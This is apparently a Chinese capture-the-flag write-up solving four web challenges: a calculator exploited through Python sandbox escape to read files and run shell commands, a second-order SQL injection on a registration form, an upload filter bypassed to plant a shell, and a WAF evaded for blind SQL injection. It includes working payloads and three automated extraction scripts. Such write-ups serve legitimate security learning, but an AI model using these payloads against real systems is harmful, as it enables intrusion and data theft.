Web calc 题目如下,这是一个计算器,可以执行一些简单的算式。题目提示正则有问题,所以正则应该是可以绕过的。
我们先看看服务器端使用的是什么语言,简单测试发现是 python web ,就考虑是否存在 SSTI ,绕过正则执行 python 代码。
我们先来分析一下正则表达式: ^[0-9.]+\s*[*+-/]\s*[0-9.]+ 。这个正则存在多个问题:
使用 payload 如下:(百度python沙箱逃逸,第一个文章中就有payload)
1 1 +1 ,().__class__.__bases__[0 ].__subclasses__()[40 ]('/flag' ).read()
查看源码
1 1 +1 ,().__class__.__bases__[0 ].__subclasses__()[59 ].__init__.__getattribute__('fun' +'c_glo' +'bal' +'s' )['lin' +'eca' +'che' ].__dict__['o' +'s' ].__dict__['po' +'pen' ]('cat /usr/local/lib/python2.7/dist-packages/tornado/web.py' ).read()
这里猜测一下后台代码的执行过程:
而我们传入的 1+1,python语句
实际上是一个元组,传到后台模板中类似
unfinished 题目如下
发现就一个登陆页面,于是尝试探测是否存在 register.php 注册页面。发现存在,立即注册登陆,并查看。
登陆的时候用到的是邮箱和密码,而注册的时候还有一个用户名,而这个用户名却在登陆后显示了,所以我们考虑用户名这里可能存在 二次注入 。
还有一个点就是,我们抓取注册账号的数据包,一直重放数据包会发现返回的状态码都是 200 ,这里就有可能存在 update注入 ,之后发现并没有更新用户信息,所以应该不存在 update注入 。那我们就针对用户名部分,进行二次注入测试。
注册成功,会得到 302 状态码并跳转至 login.php ;如果注册失败,只会返回 200 状态码。所以构造 payload 如下:
1 email=test@666.com&username=0'%2B(select hex(hex(database())))%2B'0&password=test
进行两次hex解码后得到数据库名为web:
1 2 >>> "373736353632" .decode('hex' ).decode('hex' )'web'
至于为什么 payload 要进行两次 hex 加密,看下面这张图就明白了。
然后这里还要注意一个问题,就是当数据进过 两次hex 后,会得到较长的一串只含有数字的字符串,当这个长字符串转成数字型数据的时候会变成科学计数法,也就是说会丢失数据精度,如下:
所以这里我们使用 substr 每次取10个字符长度与 ‘0’ 相加,这样就不会丢失数据。但是这里使用逗号 , 会出错,所以可以使用类似 substr(‘test’ from 1 for 10) 这种写法来绕过,具体获取 flag 的payload如下:
1 0 '%2B(select substr(hex(hex((select * from flag))) from 1 for 10))%2B' 0
本来想附上我的脚本的,但是题目环境关了,脚本有点小bug,看看哪天环境有开在改吧。我的脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 import requestsimport re,binasciilogin_url = "http://aad6cdfbfad34a09b7f947a852b226c4758d9b48816d48e9.game.ichunqiu.com/login.php" register_url = "http://aad6cdfbfad34a09b7f947a852b226c4758d9b48816d48e9.game.ichunqiu.com/register.php" users_email = ["test0" + str(i) + "@qq.com" for i in range(0 ,17 )] def register (user_email,offset) : reg_datas = { "email" : user_email, "username" : "0'+(select substr(hex(hex((select * from flag))) from " + str(1 +offset*10 )+ " for 10))+'0" , "password" : "test" } r = requests.post(url = register_url,data = reg_datas) def login (user_email) : login_datas = { "email" : user_email, "password" : "test" } r = requests.post(url = login_url,data = login_datas,allow_redirects=True ) pattern = '<span class=\"user-name\">\s*(\d{1,10})\s*<' return re.findall(pattern,r.text)[0 ] if __name__ == '__main__' : flag_double_hex = '' for email,offset in zip(users_email,range(0 ,len(users_email))): register(email,offset) test = login(email) print(test) flag_double_hex += test print("[-] " + flag_double_hex,end="\r" ,flush=True ) print("[+] " + flag_double_hex.decode('hex' ).decode('hex' ))
下面再贴一个 virink 师傅的脚本,运行过可以获取flag,SQL语句和我不一样,脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 import requests as reqimport randomimport sysURL = 'http://99836af07612423cb83b84745ccd56dcd11ede0687854475.game.ichunqiu.com' def login (email) : data = { "email" : email, "password" : "123456" } res = req.post(URL + '/login.php' , data) if res.status_code == 200 and '1 </span>' in res.content: return True return False def reg (u, e) : data = { "username" : u, "email" : e, "password" : "123456" } res = req.post(URL + '/register.php' , data, allow_redirects=False ) if res.status_code == 302 : return login(e) return False table = 'qwertyuiopasdfghjklzxcvbnm' def b (pl) : email = '' .join(random.sample(table, 8 )) + '@qq.com' return reg(pl, email) def getLen (sql) : print("[+] Starting getLen..." ) for i in range(1 , 60 ): sys.stdout.write("[+] Len : -> %d <-\r" % i) sys.stdout.flush() if b("1'and((select length((%s)))=%d)and'1" % (sql, i)): print("[+] Len : -> %d <-" % i) return i return 0 def getData (sql="version()" ) : _len = getLen(sql) if not _len: print("[-] getLen 'Error'" ) return False print("[+] Starting getData..." ) table = '}{1234567890.-@_qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM' res = '' for pos in range(1 , _len + 1 ): for ch in table: sys.stdout.write("[+] Result : -> %s%c <-\r" % (res, ch)) sys.stdout.flush() pl = "1'and((select substr((%s)from(%d)for(1))='%s'))and'1" % ( sql, pos, ch) if b(pl): res += ch break print("[+] Result : -> %s <- " % res) return res if __name__ == '__main__' : pl = 'version()' pl = 'select t.c from (select (select 1)c union select * from flag)t limit 1 offset 1' getData(pl)
wafUpload 题目代码如下:
据说是 pwnhub 题目改的,不过没找到,直接来分析代码吧。上图代码 第8-10行 进行了 MIME 类型检测, 第12-20行 对文件后缀进行了检测,而后缀名则是取 $file 数组中最后一个元素。然后在生成文件的时候,文件路径又用 $file 数组第一个元素做文件名,数组最后一个下标对应的值作为后缀,这明显存在不一致可绕过的问题。我们只要控制 $file 数组中参数的顺序即可绕过并 getshell ,请求数据包如下:
PS:赛后得知题目出自这里: phpjiami 数种解密方法
sqlweb 题目:admin也拿不到flag喔(●’◡’●)
打开 BurpSuite Fuzz 发现提示信息,过滤了以下关键字:
admin账号 可以用弱密码登陆: admin/admin123
发现新提示,说只有 wuyanzu 用户才能拿到 flag 。至此,思路就很清晰了,flag 应该就是 wuyanzu 用户的密码,或者 wuyanzu 用户登陆后就能看到 flag ,所以这题就是考察绕过 WAF 进行 SQL注入 。
1 waf:/sleep|benchmark|=|like|regexp|and |\|%|substr|union|\s+|group|floor|user|extractvalue|UpdateXml|ord|lpad|rpad|left|>|,|ascii/i !!! (trust me,no one can bypass it)
仔细观察上面的 WAF ,过滤了空格,可以用 /**/ 来绕过;过滤了 and ,可以用 && 代替;过滤了 substr 、 ascii ,但是还可以用 mid 。而且SQL语句执行和不执行返回的长度是不一样的。所以我们构造 payload 如下:
1 wuyanzu'%26%26mid(passwdfrom1for1)in('f')limit1%23
编写获取flag的程序如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import requestsflag = '' chars = "}{-0123456789abcdefghijklmnopqrstuvwxyz" url = "http://902f59bfbb134985aeef8fb606e07c77373dedd3ef0e4bca.game.ichunqiu.com//sql.php" for i in range(1 ,50 ): for char in chars: datas = { "uname" : "wuyanzu'/**/&&/**/mid(passwd/**/from/**/" + str(i) +"/**/for/**/1)/**/in/**/('" + char + "')/**/limit/**/1#" , "passwd" : "rte" , "submit" : "login" } r = requests.post(url = url, data = datas) if len(r.text) == 75 : flag += char print("[-] " + flag,end="\r" ,flush=True ) if char == '}' : print("[+] " + flag) exit()